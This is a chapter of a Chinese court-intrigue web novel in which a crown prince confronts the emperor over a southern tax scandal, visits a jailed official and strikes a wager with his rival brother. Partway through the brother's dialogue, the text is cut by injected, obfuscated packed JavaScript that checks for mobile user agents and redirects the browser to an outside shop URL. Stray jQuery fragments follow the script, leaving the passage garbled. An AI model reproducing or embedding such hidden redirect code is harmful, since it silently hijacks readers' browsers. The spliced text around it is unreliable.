默认冷灰
24号文字
方正启体

5. 风满楼

作者:YRY颜如玉本书字数:K更新时间:
    永昌十七年十一月初三,帝京已入深冬。


    紫禁城的琉璃瓦覆着薄雪,在昏黄的日头下泛着冷光。文华殿内炭火烧得正旺,龙涎香的烟气袅袅盘旋,却驱不散那股无形的寒意。


    赵元瑾跪在御案前,已跪了一个时辰。


    从扬州回京,快马加鞭十日路程,他瘦了一圈,眼底带着青黑,但脊背挺得笔直。皇帝批完最后一本奏折,搁下朱笔,终于抬眼看他。


    “起来吧。”


    “儿臣不敢。”赵元瑾没动,“江南税案未结,儿臣有负圣恩。”


    皇帝沉默片刻,忽然笑了:“你是在怪朕,没让你查到底?”


    “儿臣不敢。”


    “不敢,却做了。”皇帝从案后起身,踱到赵元瑾面前。四十三岁的天子,眼角纹路深刻,那双鹰隼般的眼睛俯视着儿子,“李承嗣致仕的旨意,你接了,人却扣在扬州不放。徐阶补亏空的折子,你收了,却另上一本,请旨彻查兵部军饷账目...元瑾,你这‘不敢’,做得可真够大胆。”


    赵元瑾抬起头:“父皇,江南亏空非一日之寒,李承嗣一人扛不起。兵部、工部、甚至户部其他堂官,皆有牵连。若只办一个李承嗣,其余人逍遥法外,江南百姓何以心服?”


    “百姓?”皇帝挑眉,“朕问你,江南现在如何?”


    “...尚安。”


    “漕运呢?”


    “通畅。”


    “盐课呢?”


    “如常。”


    “那不就够了!”皇帝转身,袍袖带起一阵风,“江南是朝廷的钱袋子,袋子不漏,能生财,便是好袋子!至于袋子上有几个补丁,用什么线缝的,重要吗?”


    赵元瑾指甲掐进掌心:“可那些补丁,是民脂民膏缝的。父皇,儿臣在扬州见到...”


    “朕知道!”皇帝骤然打断他,声音在空旷大殿里回荡,“朕什么都知道!冻死的漕工,投井的盐户,卖儿鬻女的农妇...朕都知道!”


    他走到窗前,望着殿外皑皑白雪,背影竟有一丝佝偻。


    “可元瑾,你知道北境现在多少度吗?零下三十度!戍边的将士穿着单衣,握着冻裂的刀把,眼睛都不敢眨一下地盯着关外!狄人的铁骑就在百里外,他们缺粮、缺饷、缺冬衣!若江南乱了,税银断了,最先饿死冻死的,是那三十万边军!”


    皇帝转身,眼中布满血丝:“到时候,狄人破关南下,死的就不是几百几千,是几十万、几百万!江南那些百姓,你以为能活?”


    赵元瑾跪在那里,浑身冰冷。


    他终于明白,为什么徐清晏会说那些话。为什么皇帝会默许江南加税。为什么这场博弈,从一开始就注定没有赢家。


    “所以...”他声音发涩,“就牺牲江南?”


    “不是牺牲,是取舍!”皇帝走回来,俯身按住儿子的肩膀,“元瑾,你是储君,将来要坐这把龙椅。朕今天教你第一课:为君者,眼里不能只有一城一地、一人一户。你要看的是整个天下,是江山社稷的平衡!”


    “有些事,朕能做,你不能做。有些骂名,朕能背,你不能背。”皇帝松开手,声音低下来,“李承嗣必须死,但不是现在。等边关军饷补齐,等新军练成,等朝廷有底气整治江南时...他自然会死。”


    “那要等多久?”


    “也许三年,也许五年。”皇帝走回御案后,重新坐下,“在这之前,江南不能乱。徐阶那边,朕已敲打过,他会管好手下的人。你...就当不知道吧。”


    不知道。


    轻飘飘三个字,压垮了多少冤魂。


    赵元瑾缓缓站起身,膝盖因久跪而麻木。他望着御案后的父亲,第一次觉得,那张熟悉的脸如此陌生。


    “父皇,”他轻声问,“若有一天,坐在龙椅上的是儿臣,也要做这样的取舍吗?”


    皇帝看着他,眼神复杂:“但愿那一天晚点来。”


    ---


    走出文华殿时,雪下得更大了。


    沈偃等在廊下,见赵元瑾出来,连忙撑开伞:“殿下,回东宫吗?”


    “不。”赵元瑾望着漫天飞雪,“去刑部大牢。”


    沈偃一愣:“现在?殿下刚回京,还未歇息...”


    “现在。”


    马车轧过积雪,吱呀作响。车厢内,赵元瑾闭目养神,脑中却反复回响皇帝的话。


    ——有些事,朕能做,你不能做。


    ——有些骂名,朕能背,你不能背。


    他忽然想起很多年前,他还是个孩子时,曾问过父皇:为什么皇帝被称为“孤家寡人”?


    父皇摸着他的头说:因为坐上那个位置,就不能再是任何人的儿子、兄弟、朋友。你只能是大周的皇帝,是天下人的君父。


    当时不懂,现在...好像懂了。


    刑部大牢在城南,背靠城墙,终年不见天日。牢头听说太子驾到,吓得连滚带爬出来迎接。


    “殿下要见谁?”


    “周禹。”


    牢头脸色一变:“周、周知府是钦犯,没有圣旨...”


    “孤奉旨查案,见谁还要你批准?”赵元瑾径直往里走,“带路。”


    牢房最深处,阴冷潮湿。周禹穿着单薄囚衣,靠墙坐着,正在地上用手指划着什么。听见脚步声,他抬起头,看到赵元瑾,愣住了。


    “殿下...您回来了?”


    赵元瑾示意牢头开门,走进去。牢房狭窄,只有一床一桌,桌上放着半碗冷粥,已结了层薄冰。


    “受苦了。”


    周禹苦笑:“下官早就料到有这一天。只是没想到,这么快。”


    赵元瑾从怀中取出一封信,递给他:“你夫人的信。孤让人从宁州接了她来,暂时安置在城西,很安全。”


    周禹颤抖着手接过信,看了几行,眼圈就红了。他珍重地收好,忽然跪下,重重磕了三个头:“殿下大恩,周禹来世再报。”


    “起来。”赵元瑾扶他,“孤有话说。”


    两人在床边坐下。赵元瑾将扬州之后的事简要说了一遍,包括徐清晏的传话,皇帝的旨意,以及...那个关于边关军饷的真相。


    周禹听完,久久沉默。


    “原来如此...”他喃喃道,“怪不得,永昌十三年那场雪灾,朝廷拨了五十万两赈灾银,最后到扬州只剩十万两。当时李承嗣说,其余都调去北境了,我还骂他谎话连篇...”


    他苦笑着摇头:“没想到,竟是真的。”


    “所以,”赵元瑾看着他,“你现在还觉得,自己做得对吗?”


    周禹抬起头,眼神却异常坚定:“对。”


    “为什么?”


    “因为殿下,您告诉我:江南百姓的命,也是命。”周禹一字一句,“北境将士的命是命,江南百姓的命也是命。若为了救一边,就必须牺牲另一边,那这个朝廷,就病了。病根不在银子不够,而在...人心歪了。”


    他指着地上那些划痕:“殿下看,这些是什么?”


    赵元瑾低头细看,才发现地上划的全是算式。


    “这是下官在牢里算的。”周禹说,“永昌十三年,江南税赋总额一千二百万两。若减去各级官吏克扣的三百万两,再减去运往北境的三百万两,还剩六百万两。这六百万两,若用在江南本地,修水利、减赋税、设义仓...够救多少百姓?”


    他眼睛发亮:“殿下,朝廷不是没钱,是钱没用在正地方!贪官污吏盘剥是一层,军费开支巨大是一层,但最根本的,是朝廷从未想过,如何让江南自己养活自己,如何让百姓有余力,而不是年年榨干!”


    赵元瑾心头一震。


    “你是说...”


    “改革!”周禹抓住他的袖子,声音激动,“不是修修补补,是彻底改革!清丈田亩,按实际收成定税;整顿漕运,削减中间盘剥;鼓励工商,开辟新税源...殿下,江南不是朝廷的钱袋子,它是大周的根基!根基烂了,树长得再高,也会倒!”


    牢房里回荡着他的声音,带着压抑多年的愤懑与希望。


    赵元瑾看着这个瘦弱的知府,忽然明白,为什么徐阶和李承嗣要把他关起来。


    因为他太清醒,也太敢说。


    “这些话,”赵元瑾缓缓道,“你在扬州时,为什么不告诉孤?”


    “因为下官要看看,殿下是不是真敢听。”周禹松开手,笑了,“现在我知道了,您敢。”


    雪光从高窗透进来,照在两人脸上。


    赵元瑾起身:“周知府,再委屈你一段时间。等时机到了,孤会还你清白。”


    “下官不急。”周禹也站起来,“倒是殿下,接下来打算怎么做?”


    赵元瑾望向窗外,大雪纷飞,将整个帝京笼罩在一片苍茫之中。


    “孤要去见一个人。”


    “谁?”


    “二皇子,赵元璋。”


    ---


    二皇子府在城东,与东宫一东一西,隔着一座皇城。


    赵元瑾的马车到府门前时,雪已停了。朱门紧闭,门楣上“敕造雍王府”五个金字在雪光中熠熠生辉。雍王——这是二皇子赵元璋十八岁出宫建府时的封号。


    门房通报后不久,门开了。


    出来迎接的竟是徐清晏。


    她换了一身鹅黄锦袄,外罩白狐裘,发间簪一支红梅步摇,在雪地里明艳不可方物。见到赵元瑾,她福身行礼,神色平静,仿佛扬州水榭那场谈话从未发生。


    “殿下请进,王爷在暖阁等候。”


    赵元瑾随她入园。雍王府比东宫更显奢华,亭台楼阁,雕梁画栋,回廊下挂着各色鸟笼,里面养着珍稀禽鸟。虽是冬日,园中几株腊梅却开得正盛,香气袭人。


    暖阁里炭火融融,二皇子赵元璋正坐在榻上自弈。


    他比赵元瑾年长两岁,生得剑眉星目,英武过人,只是眉宇间总带着一丝阴郁。见到赵元瑾,他放下棋子,起身笑道:“三弟回来了?江南之行辛苦,怎么不先歇歇,倒跑到二哥这里来了?”


    很热情,也很疏离。


    赵元瑾行礼:“有些事,想请教二哥。”


    “哦?”赵元璋示意他坐,又对徐清晏道,“清晏,去泡壶好茶来,用我收藏的雪水。”


    徐清晏应声退下,暖阁里只剩兄弟二人。


    “三弟想问什么?”赵元璋重新拿起棋子,在棋盘上轻轻敲着。


    “想问二哥,对江南税案,怎么看?”


    赵元璋手一顿,笑了:“我能怎么看?父皇让你去查,你查就是了。怎么,查到二哥头上了?”


    很直接,也很挑衅。


    赵元瑾也笑了:“那要看二哥的头,够不够硬。”


    空气瞬间凝滞。


    炭火噼啪作响,窗外有麻雀在雪枝上跳跃,叽叽喳喳。


    赵元璋放下棋子,抬眼看向赵元瑾。那双眼睛里的笑意消失了,只剩下冷冽的审视。


    “三弟,咱们兄弟一场,有些话不妨直说。”他靠回软枕,“江南的生意,确实有我的份。但那些银子,我一文没进私囊,全用在养兵、养士、结交朝臣上了。为什么?因为我知道,北境不安,朝廷需要钱;因为我知道,父皇需要有人替他做脏活;也因为我知道...”


    他顿了顿,声音压得更低:“咱们这位父皇,最不喜欢的,就是儿子太干净。”


    赵元瑾心头一凛。


    “你以为,父皇为什么默许我经营江南?”赵元璋冷笑,“因为他需要一个靶子,一个将来可以推出去平息众怒的靶子。也因为他需要平衡——你太正,需要有个邪的来衬。我,就是那个邪。”


    这话太直白,也太残忍。


    赵元瑾看着他:“二哥甘心?”


    “甘心?”赵元璋笑了,那笑声里有苍凉,“三弟,这宫里长大的孩子,有几个能由着自己的性子?你愿意当贤明的太子,我愿意当跋扈的皇子,不过都是父皇棋盘上的子。区别只在于,你这颗子,他想保到最后。而我...”


    他没说完,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287978|198454||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    但意思清楚。


    赵元瑾忽然觉得,自己这个二哥,或许比想象中更清醒,也更悲哀。


    “所以,”他缓缓道,“江南那些银子,二哥不打算退?”


    “退不了。”赵元璋摇头,“我退了,兵部的窟窿谁填?禁军的新甲谁造?还有那些依附我的官员、将领,他们的前程谁管?三弟,我不是李承嗣,一人吃饱全家不饿。我背后,是一张网。这张网,连着半个朝堂。”


    他倾身向前,盯着赵元瑾:“你要动江南,可以。但要连根拔起,除非你有把握,能同时摆平兵部、禁军、还有...父皇。”


    窗外传来脚步声,徐清晏端着茶盘进来。


    她将茶杯轻轻放在两人面前,又无声退下,全程低眉顺目,仿佛什么都没听见。


    茶香袅袅,是顶级的龙井。


    赵元瑾端起茶杯,却没喝。


    “二哥,孤最后问一句。”他看着杯中浮沉的茶叶,“若孤承诺,不动你的人,只动李承嗣和几个罪大恶极的,你肯放手吗?”


    赵元璋沉默了很久。


    “三弟,你太天真了。”他终于说,“李承嗣一倒,他手下那些人,为了自保,什么都会招。到时候,不是你动不动的问题,是纸包不住火的问题。”


    “那如果...”赵元瑾放下茶杯,“孤有办法,让这把火只烧该烧的人呢?”


    赵元璋眼神微动:“什么办法?”


    “改革。”赵元瑾吐出两个字,“彻底改革江南税制,清丈田亩,整顿漕运,开辟新税源。到时候,朝廷有了新钱,就能补上旧窟窿。二哥你的人,只要能退赃、认错、配合改革,孤可以既往不咎。”


    赵元璋盯着他,像在判断这话的真伪。


    “你凭什么保证?”


    “凭孤是太子,未来的皇帝。”赵元瑾起身,走到窗前,望向东宫的方向,“二哥,咱们斗了十几年,争的无非是那把椅子。但你想过没有,就算你争赢了,接手的也是一个千疮百孔的江山。北有狄人虎视眈眈,南有百姓怨声载道,朝中派系林立,国库空虚如洗...这样的江山,坐上去,能坐稳几天?”


    他转身,目光灼灼:“不如,咱们换个争法。”


    “怎么争?”


    “争谁能让大周更强,谁能让百姓更富,谁能让江山更稳。”赵元瑾一字一句,“二哥,你敢不敢,跟孤赌这一局?”


    暖阁里静得能听见雪落的声音。


    赵元璋坐在那里,手指无意识地敲着棋盘。他的眼神变幻不定,时而阴冷,时而迷茫,时而有一丝...动摇。


    许久,他忽然笑了。


    “三弟,你比我想的更有趣。”他端起茶杯,一饮而尽,“好,我跟你赌。但丑话说在前头:你若失信,或是没那个本事...”


    他没说完,但未尽之意,都在茶盏落桌的轻响里。


    赵元瑾也笑了:“二哥放心,孤从不失信。”


    兄弟二人对视,眼中第一次没有敌意,只有一种复杂的、试探的、却又隐隐期待的光。


    门外,徐清晏静静听着,手中茶盘微微倾斜,几滴茶水溅在袖口上,晕开一小片深色。


    她抬起头,望向窗外纷飞的大雪。


    这帝京的天,好像真的要变了。


    ---


    离开雍王府时,已是黄昏。


    马车缓缓行驶在积雪的街道上,两旁屋檐下挂起了灯笼,昏黄的光晕在雪地上拖出长长的影子。


    沈偃低声禀报:“殿下,刚收到的消息,徐阁老傍晚进宫了,在文华殿待了半个时辰才出来。”


    赵元瑾闭目养神:“说了什么?”


    “探听不到。但徐阁老出宫时,脸色很不好。”


    “自然不好。”赵元瑾睁开眼,“父皇让他管好江南,他却让孤查出了这么多事。如今李承嗣这颗棋子废了,他得重新布局。”


    “还有一事。”沈偃犹豫了一下,“杜蘅姑娘...到京城了。”


    赵元瑾一怔:“什么时候?”


    “今天下午,带着漕帮十几个好手,住进了城西的客栈。她说...是来帮殿下的。”


    帮。


    这个字让赵元瑾心头一暖,随即又是一沉。漕帮卷入太深,不是好事。


    “告诉她,京城不同扬州,让她收敛些,别惹事。”


    “是。”


    马车驶过朱雀大街,前方就是东宫。巍峨的宫墙在暮色中沉默矗立,檐角的风铃在寒风中叮当作响。


    赵元瑾忽然想起很多年前,他刚被立为太子时,父皇牵着他的手走过这条街。


    那时父皇说:“元瑾,你看这帝京城,它很坚固,也很脆弱。坚固是因为有千万人在守护它,脆弱是因为...守护它的人,心不一定齐。”


    当时不懂,现在懂了。


    “沈偃。”


    “在。”


    “你说,孤今天跟二哥说的话,他会信几分?”


    沈偃想了想:“五分。雍王殿下疑心重,不会全信,但也不会全不信。”


    “够了。”赵元瑾望向雍王府的方向,“有五分,就能撬动另外五分。”


    马车在东宫门前停下。


    赵元瑾下车时,雪又开始下了。细密的雪粒子打在脸上,冰凉。


    他抬头望去,东宫殿宇的轮廓在雪幕中模糊不清,只有檐下的宫灯,像一双双眼睛,沉默地注视着归来的主人。


    这盘棋,从江南下到了京城。


    而真正的对弈,才刚刚开始。


    他深吸一口冰冷的空气,迈步进门。


    身后,沈偃低声吩咐侍卫:“加强戒备,尤其是后墙。”


    “是!”


    门缓缓关上,将风雪关在外面。


    而在东宫对面的巷子深处,一道黑影悄无声息地转身,消失在夜色中。


    黑影手中,一枚铜镜碎片映出最后一抹灯光,随即被雪覆盖。


    远处,皇城钟楼传来悠长的钟声。


    夜,深了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)